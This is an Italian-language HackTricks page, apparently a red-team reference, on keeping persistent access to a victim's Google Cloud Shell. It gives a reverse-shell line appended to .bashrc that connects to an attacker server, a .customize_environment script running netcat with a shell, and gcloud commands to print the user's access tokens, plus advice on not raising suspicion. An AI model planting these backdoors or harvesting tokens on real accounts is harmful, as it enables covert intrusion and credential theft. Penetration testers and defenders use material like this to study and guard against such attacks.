GCP - Cloud Shell Persistence

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Cloud Shell

Per ulteriori informazioni controlla:

pageGCP - Cloud Shell Enum

Backdoor Persistente

Google Cloud Shell ti fornisce accesso alla riga di comando alle risorse cloud direttamente dal tuo browser senza alcun costo associato.

Puoi accedere a Cloud Shell di Google dalla console web o eseguendo gcloud cloud-shell ssh.

Questa console ha alcune capacità interessanti per gli attaccanti:

  1. Qualsiasi utente Google con accesso a Google Cloud ha accesso a un'istanza di Cloud Shell completamente autenticata (gli Account di Servizio possono, anche essendo Proprietari dell'organizzazione).

  2. Tale istanza manterrà la propria directory home per almeno 120 giorni se non avviene alcuna attività.

  3. Non ci sono capacità per un'organizzazione di monitorare l'attività di quell'istanza.

Questo significa essenzialmente che un attaccante potrebbe inserire un backdoor nella directory home dell'utente e fintanto che l'utente si connette a GC Shell almeno ogni 120 giorni, la backdoor sopravviverà e l'attaccante otterrà una shell ogni volta che viene eseguita semplicemente facendo:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

C'è un altro file nella cartella home chiamato .customize_environment che, se esiste, verrà eseguito ogni volta che l'utente accede alla shell cloud (come nella tecnica precedente). Basta inserire il backdoor precedente o uno simile al seguente per mantenere la persistenza finché l'utente utilizza "frequentemente" la shell cloud:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

È importante notare che la prima volta che viene eseguita un'azione che richiede l'autenticazione, compare una finestra di autorizzazione a comparsa nel browser dell'utente. Questa finestra deve essere accettata prima che il comando possa essere eseguito. Se compare una finestra di pop-up inaspettata, potrebbe destare sospetti e compromettere potenzialmente il metodo di persistenza in uso.

Questa è la finestra di pop-up generata dall'esecuzione di gcloud projects list dalla shell cloud (come attaccante) visualizzata nella sessione dell'utente del browser:

Tuttavia, se l'utente ha utilizzato attivamente la cloudshell, il pop-up non comparirà e è possibile raccogliere i token dell'utente con:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Come viene stabilita la connessione SSH

Fondamentalmente, vengono utilizzate queste 3 chiamate API:

Ma puoi trovare ulteriori informazioni in https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Riferimenti

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated